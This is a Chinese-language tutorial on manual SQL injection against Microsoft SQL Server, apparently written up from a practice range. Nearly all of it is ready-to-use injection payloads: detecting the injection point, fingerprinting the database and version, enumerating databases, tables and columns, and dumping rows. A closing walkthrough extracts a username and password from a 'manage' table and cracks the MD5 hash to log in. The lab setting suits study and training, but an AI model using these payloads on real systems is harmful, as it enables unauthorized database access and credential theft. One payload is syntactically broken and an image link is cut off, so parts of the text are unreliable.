MSSQL注入
提示
以下均使用如下靶场:
SQL手工注入漏洞测试(Sql Server数据库)
判断注入点
与mysql注入一致
?id=2 and 1=2
判断数据库类型
and exists (select * from sysobjects)--返回正常为mssql
and exists (select count(*) from sysobjects)--有时上面那个语句不行就试试这个哈
用例
payload:
?id=-2 union all select 1,(select count(*) from sysobjects),'3',4
回显正常
判断数据库版本
-1 union all select 1,2,@@version,4
这个语句要在有回显的模式下才可以哦
and substring((select @@version),22,4)='2008'--
适用于无回显模式,后面的2008就是数据库版本,返回正常就是2008
用例
payload:
?id=-2 union all select 1,@@version,'3',4
版本为2005
获取所有数据库的个数
(select quotename(count(name)) from master.dbo.sysdatabases)
用例
?id=-2 union all select null,(select quotename(count(name)) from master.dbo.sysdatabases),'3',null
获取数据库
(该语句是一次性获取全部数据库的,且语句只适合>=2005)
(select quotename(name) from master.dbo.sysdatabases FOR XML PATH(''))
用例
payload:
?id=-2 union all select null,(select quotename(name) from master.dbo.sysdatabases FOR XML PATH('')),'3',null
获取当前数据库
(select db_name())
用例
payload:
?id=-2 union all select null,(select db_name()),'3',null
获取当前数据库中的表
下列语句可一次爆数据库所有表(只限于mssql2005及以上版本)
(select quotename(name) from 数据库名.dbo.sysobjects where xtype='U' FOR XML PATH(''))
获得表里的列
一次爆指定表的所有列(只限于mssql2005及以上版本)
(select quotename(name) from 数据库名.dbo.syscolumns where id =(select id from 数据库名.dbo.sysobjects where name='指定表名') FOR XML PATH(''))
获取指定数据库中的表的列的数据
逐条爆指定表的所有字段的数据(只限于mssql2005及以上版本)
and 1=(select top 1 * from 指定数据库.dbo.指定表名 where 排除条件 FOR XML PATH(''))--
一次性爆N条所有字段的数据(只限于mssql2005及以上版本):
and 1=(select top N * from 指定数据库.dbo.指定表名 FOR XML PATH(''))
and 1=(select top 1 * from 指定数据库.dbo.指定表名 FOR XML PATH(''))
加上where条件筛选结果出来会更加好,如:where and name like ‘%user%’ 就会筛选出含有user关键词的出来。用在筛选表段时很不错。
案例
靶场:
SQL手工注入漏洞测试(Sql Server数据库)
步骤
判断注入点
?id=2%20and%201=2
猜字段数
?id=-2 order by 4
回显正常
猜字段位回显处
跟mysql-php有区别,php里面的数据类型是弱数据,所以不需要加’’,但是asp需要加上去就行判断
?id=-2 union all select 1,2,'3',4
爆数据库
?id=-2 union all select 1,select db_name(),'3',4
爆表
?id=-1 union all select 1,(select top 1 name from mozhe_db_v2.dbo.sysobjects where xtype = 'U'),'3',4
![在这里
爆字段
?id=-1 union all select 1,(select top 1 col_name(object_id('manage'),1) from sysobjects),'3',4
col_name(object_id(‘manage’),1) 中从1查到3
得到id,username,password
爆数据
?id=-1 union all select 1,(select top 1 username from manage),'3',4
?id=-1 union all select 1,(select top 1 password from manage),'3',4
得到用户名和密码,将密码进行md5解密进行登录得到flag